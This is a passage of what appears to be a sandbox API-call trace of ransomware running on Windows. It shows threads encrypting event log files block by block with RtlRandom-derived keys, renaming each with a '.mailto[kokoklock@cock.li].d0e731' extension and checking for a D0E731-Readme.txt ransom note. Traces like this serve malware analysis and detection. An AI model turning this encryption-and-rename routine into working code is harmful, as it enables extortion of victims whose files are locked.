lpNumberOfBytesWritten=0x6b6f764*=0x6c, lpOverlapped=0x0) returned 1 [0164.570] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a770*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6b6f764, lpOverlapped=0x0 | out: lpBuffer=0x2f8a770*, lpNumberOfBytesWritten=0x6b6f764*=0x20, lpOverlapped=0x0) returned 1 [0164.570] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6b6f764, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6b6f764*=0x4, lpOverlapped=0x0) returned 1 [0164.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.570] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8aab8) returned 1 [0164.570] CloseHandle (hObject=0x4a0) returned 1 [0164.570] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xf6) returned 0x2f85918 [0164.570] wcscpy (in: _Dest=0x2f85918, _Source="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" [0164.570] wcscat (in: _Dest=0x2f85918, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.570] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.571] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.571] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f85918) returned 1 [0164.571] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.572] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f808a0 [0164.572] wcscpy (in: _Dest=0x2f808a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.572] wcscat (in: _Dest=0x2f808a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.572] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f808a0) returned 1 [0164.572] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f96820) returned 1 [0164.572] RtlExitUserThread (Status=0x1) Thread: id = 1528 os_tid = 0xebc [0164.573] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.573] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.573] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.573] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6befbc8 | out: lpFileSize=0x6befbc8*=69824) returned 1 [0164.573] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.573] ReadFile (in: hFile=0x4a0, lpBuffer=0x6befb9c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6befb98, lpOverlapped=0x0 | out: lpBuffer=0x6befb9c*, lpNumberOfBytesRead=0x6befb98*=0x4, lpOverlapped=0x0) returned 1 [0164.576] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.576] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8aab8 [0164.576] NtQuerySystemTime (in: CurrentTime=0x6befb74 | out: CurrentTime=0x6befb74*=132121213218985674) returned 0x0 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xd50a4deb [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x5e440c24 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xe6243f6d [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x5df748a4 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x25d49bf2 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xa83ca8af [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x82dc552b [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x68811b32 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x29f9c4a5 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x8badc354 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x7a62eaaa [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xfd86aaae [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x851ce4e7 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x7c904768 [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xdc74b9ee [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xa21edf5f [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x6bb400a [0164.576] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xbd6089d9 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x9c23d316 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x8e4a5d77 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xacdc276c [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xa5b3eb42 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x70b01cc5 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x4ae45c22 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xb786f624 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xe9a3bb3e [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x5ce87d83 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x6e1c6f0a [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xc5011201 [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0x64d3732f [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xf6678e9c [0164.577] RtlRandom (in: Seed=0x6befb80 | out: Seed=0x6befb80) returned 0xc1852f7b [0164.585] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.587] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.587] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.587] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.587] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6befb4c, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6befb4c*=0x4096, lpOverlapped=0x0) returned 1 [0164.588] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87548 [0164.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaa98 [0164.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.588] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.588] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.589] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaa98) returned 1 [0164.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87548) returned 1 [0164.589] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6befb4c, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6befb4c*=0x4096, lpOverlapped=0x0) returned 1 [0164.589] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.589] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.589] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8ac70*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6befb84, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac70*, lpNumberOfBytesWritten=0x6befb84*=0x20, lpOverlapped=0x0) returned 1 [0164.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac70) returned 1 [0164.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.590] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6befb98, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x6befb98*=0x8, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x4a0, lpBuffer=0x6befbb0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6befb98, lpOverlapped=0x0 | out: lpBuffer=0x6befbb0*, lpNumberOfBytesWritten=0x6befb98*=0x4, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6befb98, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6befb98*=0x4, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6befb98, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6befb98*=0x6c, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8ac98*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6befb98, lpOverlapped=0x0 | out: lpBuffer=0x2f8ac98*, lpNumberOfBytesWritten=0x6befb98*=0x20, lpOverlapped=0x0) returned 1 [0164.590] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6befb98, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0x6befb98*=0x4, lpOverlapped=0x0) returned 1 [0164.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8ac98) returned 1 [0164.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.590] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a888) returned 1 [0164.590] CloseHandle (hObject=0x4a0) returned 1 [0164.591] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x102) returned 0x2f6ab60 [0164.591] wcscpy (in: _Dest=0x2f6ab60, _Source="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" [0164.591] wcscat (in: _Dest=0x2f6ab60, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0164.591] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-devicesetupmanager%4operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0164.591] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6ab60) returned 1 [0164.592] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-DeviceSetupManager%4Operational.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 0 [0164.592] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x36) returned 0x2f806a0 [0164.592] wcscpy (in: _Dest=0x2f806a0, _Source="C:\\Logs\\" | out: _Dest="C:\\Logs\\") returned="C:\\Logs\\" [0164.592] wcscat (in: _Dest=0x2f806a0, _Source="D0E731-Readme.txt" | out: _Dest="C:\\Logs\\D0E731-Readme.txt") returned="C:\\Logs\\D0E731-Readme.txt" [0164.592] GetFileAttributesW (lpFileName="C:\\Logs\\D0E731-Readme.txt" (normalized: "c:\\logs\\d0e731-readme.txt")) returned 0x20 [0164.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f806a0) returned 1 [0164.592] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f968e0) returned 1 [0164.592] RtlExitUserThread (Status=0x1) Thread: id = 1529 os_tid = 0xec0 [0164.595] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731")) returned 0x20 [0164.595] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0164.595] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Dhcp-Client%4Admin.evtx.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\logs\\microsoft-windows-dhcp-client%4admin.evtx.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x4a0 [0164.596] GetFileSizeEx (in: hFile=0x4a0, lpFileSize=0x6c6fee8 | out: lpFileSize=0x6c6fee8*=69824) returned 1 [0164.596] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110bc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.596] ReadFile (in: hFile=0x4a0, lpBuffer=0x6c6febc, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x6c6feb8, lpOverlapped=0x0 | out: lpBuffer=0x6c6febc*, lpNumberOfBytesRead=0x6c6feb8*=0x4, lpOverlapped=0x0) returned 1 [0164.597] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a770 [0164.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8a888 [0164.597] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac70 [0164.597] NtQuerySystemTime (in: CurrentTime=0x6c6fe94 | out: CurrentTime=0x6c6fe94*=132121213219122004) returned 0x0 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xe69bb18f [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x7f37a871 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xb1d4f369 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xd0f95c13 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xc17e433e [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xbd172669 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xde2bfbae [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x2c22a24d [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xaf03ec3f [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x27fc5888 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xd61e2bfd [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x523cc92a [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x1a056e25 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x2211fd76 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x2f212f9c [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xbac92b6e [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x1d1d4475 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x5921db75 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x15e721da [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x74cad065 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x7222c9c8 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xec8f168a [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xc6c17ecf [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x8307e0ed [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xa131e4f [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xe1265dcd [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x19eac634 [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x28d559f [0164.597] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xdd48720 [0164.598] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x13e50fb [0164.598] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0x1dd7bd6a [0164.598] RtlRandom (in: Seed=0x6c6fea0 | out: Seed=0x6c6fea0) returned 0xcb44b286 [0164.606] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2f8ac98 [0164.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faac00 [0164.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7f8 [0164.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faac00) returned 1 [0164.608] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f8a770) returned 1 [0164.608] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc3fb8 [0164.609] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.609] ReadFile (in: hFile=0x4a0, lpBuffer=0x2fc3fb8, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0x6c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x2fc3fb8*, lpNumberOfBytesRead=0x6c6fe6c*=0x4096, lpOverlapped=0x0) returned 1 [0164.610] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f871a0 [0164.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faacf0 [0164.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab7a8 [0164.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab7a8) returned 1 [0164.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc8058 [0164.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab988 [0164.610] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab960 [0164.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab960) returned 1 [0164.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faacf0) returned 1 [0164.610] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f871a0) returned 1 [0164.610] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fc8058*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0x6c6fe6c, lpOverlapped=0x0 | out: lpBuffer=0x2fc8058*, lpNumberOfBytesWritten=0x6c6fe6c*=0x4096, lpOverlapped=0x0) returned 1 [0164.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc8058) returned 1 [0164.611] SetFilePointerEx (in: hFile=0x4a0, liDistanceToMove=0x110c0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0164.611] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab988*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c6fea4, lpOverlapped=0x0 | out: lpBuffer=0x2fab988*, lpNumberOfBytesWritten=0x6c6fea4*=0x20, lpOverlapped=0x0) returned 1 [0164.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab988) returned 1 [0164.611] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3fb8) returned 1 [0164.611] WriteFile (in: hFile=0x4a0, lpBuffer=0x2fab7f8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6c6feb8, lpOverlapped=0x0 | out: lpBuffer=0x2fab7f8*, lpNumberOfBytesWritten=0x6c6feb8*=0x8, lpOverlapped=0x0) returned 1 [0164.611] WriteFile (in: hFile=0x4a0, lpBuffer=0x6c6fed0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c6feb8, lpOverlapped=0x0 | out: lpBuffer=0x6c6fed0*, lpNumberOfBytesWritten=0x6c6feb8*=0x4, lpOverlapped=0x0) returned 1 [0164.611] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c6feb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0x6c6feb8*=0x4, lpOverlapped=0x0) returned 1 [0164.611] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0x6c6feb8, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0x6c6feb8*=0x6c, lpOverlapped=0x0) returned 1 [0164.612] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f8a888*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x6c6feb8, lpOverlapped=0x0 | out: lpBuffer=0x2f8a888*, lpNumberOfBytesWritten=0x6c6feb8*=0x20, lpOverlapped=0x0) returned 1 [0164.612] WriteFile (in: hFile=0x4a0, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6c6feb8, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, 